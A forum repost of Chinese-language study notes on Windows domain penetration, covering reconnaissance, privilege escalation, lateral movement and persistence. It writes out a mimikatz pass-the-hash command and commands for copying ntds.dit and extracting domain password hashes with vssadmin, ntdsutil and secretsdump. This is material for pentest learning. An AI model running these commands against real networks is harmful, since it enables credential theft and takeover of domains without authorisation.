安全矩阵

 找回密码
 立即注册
搜索
查看: 2264|回复: 0

Windows域渗透学习笔记

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-2-14 19:43:09 | 显示全部楼层 |阅读模式
Windows域渗透学习笔记[color=rgba(0, 0, 0, 0.3)]imp0wd3r [url=]HACK之道[/url] [color=rgba(0, 0, 0, 0.3)]2022-02-13 09:00
[color=rgba(0, 0, 0, 0.5)]收录于话题
#域渗透[color=rgba(0, 0, 0, 0.3)]2个

#渗透测试[color=rgba(0, 0, 0, 0.3)]57个

#web安全[color=rgba(0, 0, 0, 0.3)]55个


Info
Windows域渗透初探,一边学习一边整理,后边还会慢慢补充,大家有意见或者建议的话欢迎提Issue
思路
在域环境中,一般的渗透思路如下:
  • 获取一台域主机上的一个低权限用户,比如通过Webshell
  • 信息收集(贯穿始终)
  • 权限提升(提升到高权限来尝试获取其他域用户的登录凭据)
  • 横向渗透(利用已经获得的登录凭据对其他域内主机进行渗透,或将当前机器作为代理,对域内其他机器进行扫描)
  • 重复上述步骤直至控制域控

信息收集
基本信息:net config workstatsion,包括计算机名、用户名、工作站域、登录域
用户相关:
  • 查看域内用户:net user /domain(/domain表示向域控发起查询)
  • 查看用户在域内的权限:net user username /domain
  • 查看域内用户组:net group /domain
  • 查看指定组内的用户:net group groupname /domain
  • 查看用户会话:query user
  • 查看用户密码/hash:mimikatz,相关知识点

主机相关:
  • 主机发现:net view
  • 定位域控:net time /domain、echo %logonserver%
  • 已知目标IP获取主机名和域内身份:nbtstat -A ip,Linux下:nbtscan

nbtstat和nbtscan主要使用了NetBIOS Over TCP/IP,相关知识点
域内通信主要通过Windows文件共享来实现,相关知识点
其他工具例如msf中post/windows/gather/下的模块同样可以用来收集信息,各个模块的使用方法详见msf文档。
关注公众号:hack之道,后台回复关键词:666,获取最新渗透教程和工具。
权限提升
meterpreter getsystem
  • Administrator -> System
  • 相关知识点

incognito.exe list_tokens -u
  • Administrator -> System / Administrator -> common user
  • 通过窃取用户token来获得用户身份,相关知识点

at运行定时任务
msf exploit/windows/local
  • 可根据KB号来选择相应的exploit

misconfiguration
  • 利用服务、文件或文件夹等不严格的权限限制,比如允许更改服务设置,允许向加载DLL的位置写入文件等等
  • 检查权限的工具:AccessChk,来自Windows Sysinternals
  • misconfiguration检查工具:BeRoot

横向渗透
代理、端口转发
  • 推荐:Termite
  • Meterpreter autoroute、socks4a
  • ssh、reGeorg、lcx.exe ...

Remote Command Execution(在获取到远程机器登录凭据的情况下在远程机器上执行命令)
  • psexec

    • 原理:
      通过ipc$连接,然后释放psexesvc.exe到目标机器。
      通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
      客户端连接执行命令,服务端启动相应的程序并执行回显数据。
      限制:需要开启admin$共享和开启445端口
      优势:执行成功直接提供System权限

  • WMI

    • 相关知识点

  • mimikatz pass the hash(适用于不知道用户名密码但是知道hash的情况)

    • mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"
    • This patches in the particular NTLM hash into LSASS memory, turning it into a kerberos ticket.
      原理是将特定的NTLM hash补丁放入LSASS内存,将其变成kerberos ticket。
    • 这样执行完后已经获得了目标用户的身份,然后就可以用net use等连接目标机器,无需知道用户的密码。

权限维持
  • Ntds.dit

    • DSInternals Get-ADDBAccount
    • Meterpreter smart_hashdump
    • impacket secretsdump.py
    • $key = Get-BootKey -SystemHivePath 'C:\Extract\SYSTEM'
      Get-ADDBAccount -All -DBPath 'C:\Extract\ntds.dit' -BootKey $key
    • python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
    • 由于该文件在被域使用,所以无法直接copy
    • Volume Shadow Copy
    • PowerSploit NinjaCopy
    • Ntdsutil
    • vssadmin create shadow /for=C:
      copy VolumeName\Windows\NTDS\ntds.dit C:\Extract\ntds.dit
      copy VolumeName\Windows\System32\config\SYSTEM C:\Extract\SYSTEM
      vssadmin delete shadows /shadow={ShadowID}
    • Invoke-NinjaCopy -path C:\Windows\NTDS\ntds.dit -verbose -localdestination C:\Extract\ntds.dit
    • ntdsutil snapshot "activate instance ntds" create quit quit
      ntdsutil snapshot "mount {GUID}" quit quit
      copy MOUNT_POINT\Windows\NTDS\ntds.dit C:\Extract\ntds.dit
      ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
    • %SystemRoot%\NTDS\Ntds.dit:真正的数据文件
    • %SystemRoot%\System32\Ntds.dit:分发副本,当一台机器升级到域控时,将该文件拷贝到 %SystemRoot%\NTDS\Ntds.dit,域数据由后者记录
    • NT Directory Service . Directory Information Tree
    • 数据库文件,存储着域数据
    • 存储在两个位置
    • 文件导出
    • 哈希提取

常用工具
PowerSploit:https://github.com/PowerShellMafia/PowerSploit ,多种PowerShell后渗透模块
Empire:https://github.com/EmpireProject/Empire ,基于PowerShell的后渗透框架,更适合内网渗透
Windows sysinternals:https://docs.microsoft.com/en-us/sysinternals/ ,Windows支持的工具集
Reference
https://3gstudent.github.io/
http://www.fuzzysecurity.com/tutorials/25.html
https://github.com/l3m0n/pentest_study
https://www.offensive-security.com/metasploit-unleashed/post-module-reference/
https://support.microsoft.com/en-us/help/313565/how-to-use-the-at-command-to-schedule-tasks
http://www.fuzzysecurity.com/tutorials/16.html
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/
https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/

作者:imp0wd3r
往期推荐
针对容器场景的多功能渗透工具(文末下载)
对某骗子网站的渗透测试
工具|Burpsuite被动扫描流量转发插件
干货|Cobalt Strike上线 -- 短信提醒
内网域渗透小工具(附下载地址)

[color=rgba(0, 0, 0, 0.9)]HACK之道
[color=rgba(0, 0, 0, 0.5)]HACK之道,专注于红队攻防、实战技巧、CTF比赛、安全开发、安全运维、安全架构等精华技术文章及渗透教程、安全工具的分享。

[color=rgba(0, 0, 0, 0.5)]8篇原创内容




[color=rgba(0, 0, 0, 0.3)]公众号









[color=rgba(0, 0, 0, 0.3)]喜欢此内容的人还喜欢


看了就会的 Node.js 常用三方工具包




[color=rgba(0, 0, 0, 0.3)]前端技术优选


不喜欢
[color=rgba(0, 0, 0, 0.9)]不看的原因
确定
  • 内容质量低
  • 不看此公众号








Linux 中的 JQ 命令使用实例




[color=rgba(0, 0, 0, 0.3)]Linux就该这么学


不喜欢
[color=rgba(0, 0, 0, 0.9)]不看的原因
确定
  • 内容质量低
  • 不看此公众号








用C语言写一个虚拟机项目




[color=rgba(0, 0, 0, 0.3)]STM32嵌入式开发


不喜欢
[color=rgba(0, 0, 0, 0.9)]不看的原因
确定
  • 内容质量低
  • 不看此公众号















微信扫一扫
关注该公众号





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-17 20:55 , Processed in 0.012535 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表